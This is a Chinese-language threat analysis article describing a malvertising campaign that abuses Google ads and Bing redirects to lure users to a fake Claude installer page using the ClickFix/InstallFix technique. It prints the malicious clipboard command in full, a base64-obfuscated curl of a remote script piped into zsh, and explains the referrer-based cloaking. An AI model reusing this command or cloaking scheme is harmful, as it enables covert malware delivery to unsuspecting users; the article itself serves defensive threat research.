2026-10-15 18:21:44 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

AI安全案例分析｜仿冒 Claude 安装页借恶意广告投递 ClickFix

原创

天元实验室
天元实验室

M01N Team

2026年10月12日 18:00
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

概述

2026 年 10 月 9 日，Push Security 披露了一起针对 Claude 用户的恶意广告活动。攻击者在 Google 搜索广告里把落地域名填成 bing.com，再借 Bing 自身的点击跳转和多层遮蔽，把用户引到一个仿冒的 Claude 下载页，实施 ClickFix 类攻击。

广告平台审核看到的是 bing.com；被入侵的 WordPress 站点用服务端检查挡掉不符合条件的请求；仿冒站点用 JavaScript 读取 document.referrer，凡是不含 Google 或 Bing 的访问一律转到 /404.html——安全扫描器直接访问只会拿到 404。只有按特定路径点进来的真实用户，才会看到恶意页面。最终载荷尚未确认，投递了什么恶意软件目前尚不清楚。

01 攻击背景：恶意广告与可被利用的可信跳转

搜索广告是当前 ClickFix 类攻击最主要的入口。Push 检测到的 ClickFix 攻击（含 InstallFix、LLMshare 变体）里，五分之四经由搜索引擎触达受害者。多数活动并不掩饰域名，活动成功发起依靠的是链接描述模仿官方，以及用户不查看地址栏。

跳转是更早的规避手法，原理是让每个检查点只看到自己那一跳的 URL。邮件网关评估邮件里的链接，广告平台审核广告的落地地址，URL 过滤器查域名信誉，用户快速浏览域名再点击——攻击者把「谁最终看到恶意页面」的决定放到最后一步跳转。公开案例例如：2020 年 login.microsoftonline.com 故意缺省 response\_type 参数，2025 年伪装成 DocuSign、Adobe、SharePoint 的假 OAuth 应用，以及微软披露的 prompt=none 配合非法 scope 强制触发静默报错。

02 攻击原理与流程

2.1 前提条件

链条成立需要四个条件：用户通过搜索引擎查找软件；广告平台只校验广告的落地域名，不校验落地之后发生的事情；存在可被滥用的合法跳转，且跳转之后能植入遮蔽逻辑；以及有一个已被入侵、并已被搜索引擎正常收录的站点用于承接流量。

2.2 跳转链路

在 Google 搜索 claude mac，返回的结果中显示的域名是 bing.com，而不是 Claude 的仿冒域名。

图1　Google 搜索 claude mac 的赞助结果，展示的落地域名是 bing.com（来源：Push Security）

点击这条广告后共产生四次请求：

google.com/aclk?sa=L&ai=… ：返回 302，这是 Google 的广告点击跳转。
bing.com/ck/a?…&u=a1… ：返回 200，这是 Bing 的搜索结果跳转，用 JavaScript 转发浏览器。
一家南美合法零售商的 about us 页面：返回 302，该站点已被入侵，负责把广告流量转发到诱饵。
claude-desk-code[.]com ：返回 200，这是仿冒的 Claude 下载页。

图2 浏览器网络面板记录的四跳请求与状态码：Google 302、Bing 200、被入侵站点 302、仿冒站点 200（来源：Push Security）

bing.com/ck/a 是 Bing 给自己搜索结果页每条链接挂的点击追踪跳转：目标地址经 base64 编码后放在 u 参数中、前面加 a1 前缀，Bing 用一个短 JavaScript 页面完成转发而非 HTTP 跳转。这解释了第二跳状态码为什么是 200 而不是 302，也解释了浏览器到达下一跳时带着 bing.com 的 referrer。

那条 Bing 链接指向的是一个真实存在、已被搜索引擎收录的 about us 页面：homeopatiaalemana[.]com/quienes-somos/。攻击路径因此是先入侵一个站点、让它作为正常搜索结果被 Bing 收录，再把这个 Bing 结果当作 Google 广告的落地结果目标。

2.3 两层遮蔽

第一层在被入侵的站点上，服务端以 302 做检查，要求请求同时带 Bing 的 referrer 和特定浏览器头。第二层在仿冒的 Claude 站点上，用 JavaScript 读取 document.referrer，凡是不含 Google 或 Bing 的访问一律转到 /404.html。广告审核人员、自动化扫描器和误入的用户都被挡在载荷之外。

从 Bing 访问那个被入侵的站点同样会拿到恶意页，这说明攻击面向的是 Google 搜索用户，而非 Bing 用户。

2.4 载荷：页面显示的和剪贴板里的不是同一条命令

最终页面是一份做得很专业的 Claude 下载页，提供 Download for macOS 按钮和一行终端安装命令，这属于 Push 此前记录过的 InstallFix 模式。

图3 仿冒的 Claude 下载页 claude-desk-code[.]com（来源：Push Security）

安装步骤自带两重伪装，页面上显示的是 Anthropic 的真实命令：

curl -fsSL https://claude.ai/install.sh | bash

而 Copy 按钮放进剪贴板的是另一条：

echo \"Downloading Claude: hxxps://claude[.]ai/install.sh\" && curl -s $(echo \"aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0\" | openssl base64 -d -A) | zsh

图4 InstallFix 诱饵：页面展示的是 Anthropic 的真实安装命令，复制按钮写入的却是另一条（来源：Push Security）

粘贴执行后，终端会先打印 Downloading Claude: https://claude.ai/install[.]sh，然后才对隐藏地址做 base64 解码，把 lake-90[.]com 上的脚本管道进 zsh。用户在页面上和终端里看到的都是合法的 Claude 地址，实际执行的却是另一套脚本。

03 威胁与后果评估

受害者是 macOS 用户，执行的是管道进 shell 的远程脚本，权限等同于本人。最终载荷未知这一点本身就是风险：既无法评估具体危害，也难以做针对性清除。

整条链路都经由合法域名跳转，基于域名信誉的拦截很难生效；遮蔽依赖 referrer 检查，直接访问 URL 只会得到 404，沙箱分析拿不到样本。

Push 把相关域名归入同一套工具链 AcSig，使用完全相同的 macOS 命令、载荷 URL 形态和安装弹窗代码，说明这是可复用、可批量更换域名的成熟运营。

04 案例启示

对用户，从搜索结果下载软件时不要只看页面做得多像。要核对的是官方文档里的安装命令，尤其是点击「复制到剪贴板」按钮后得到的剪贴板内容；任何把远程脚本直接管道进 shell 的安装方式，都应当先看清内容再执行。

对防守方，域名信誉和 URL 黑名单挡不住这种链路，因为每一跳都是合法域名。能起作用的是浏览器会话层的遥测：从首次点击到载荷落地全程可见，并识别剪贴板写入事件本身。用搜索引擎找软件的场景也应纳入用户培训，五分之四的 ClickFix 攻击都从搜索入口进来。

关于 AISS 安全智链社区

本案例已收录至 AISS 安全智链社区案例库，社区地址：https://aiss.nsfocus.com/#/

参考链接

[1] Push Security — Analysing a novel malicious redirect and cloaking technique（2026-10-09） https://pushsecurity.com/blog/adception-malvertising-another-search-engines-search-results

[2] BleepingComputer — Hackers abuse Google Ads, Bing redirects to push Claude ClickFix attacks（2026-10-09） https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-bing-redirects-to-push-claude-clickfix-attacks/

[3] Push Security — InstallFix: Weaponizing malvertised install guides（2026-03-06） https://pushsecurity.com/blog/installfix

[4] SecurityWeek — Cloned AI Tool Sites Distribute Malware in 'InstallFix' Campaign（2026-03-09） https://www.securityweek.com/cloned-ai-tool-sites-distribute-malware-in-installfix-campaign/

[5] BleepingComputer — Custom ChatGPTs push ClickFix attacks to deploy RAT malware（2026-09-29） https://www.bleepingcomputer.com/news/security/custom-chatgpts-push-clickfix-attacks-to-deploy-rat-malware/

[6] SC Media — Hackers use Bing redirects in Google ads for fake Claude installers（2026-10-11） https://www.scworld.com/brief/hackers-use-bing-redirects-in-google-ads-for-fake-claude-installers

绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。

研究目标包括：漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术，以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究，以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术，从攻击视角提供识别风险的方法和手段，为威胁对抗提供决策支撑。